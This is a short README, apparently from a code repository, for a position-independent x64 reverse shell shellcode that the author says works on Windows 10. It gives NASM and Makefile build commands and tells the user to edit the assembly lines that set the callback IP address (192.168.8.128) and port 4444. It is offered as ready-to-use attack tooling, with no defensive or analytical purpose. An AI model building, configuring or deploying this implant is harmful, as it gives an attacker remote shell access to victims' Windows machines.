A position-independent reverse shell shellcode i put together for x64 systems. It works (tested on Windows 10), it's definitely a rough draft but expect cleaner code/docs soon.

How to Build

You’ll need:

• A windows pc
• NASM installed

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Makefile Commands:

• make all: Compiles the source into a binary shellcode (main.bin).
• make clean: Deletes the compiled binary.

Manual Build:

If you don’t want to use make, just do this:

nasm -f bin -g -O0 -o C:\Users\win10\Desktop\pic_implant\bin\main.bin src\main.asm

Steps:

1. Edit src/main.asm
   Find these lines and replace with your IP/port:

       db "192.168.8.128", 0
       mov word [rsp+2], 0x5C11       ; ← 4444 (change this too)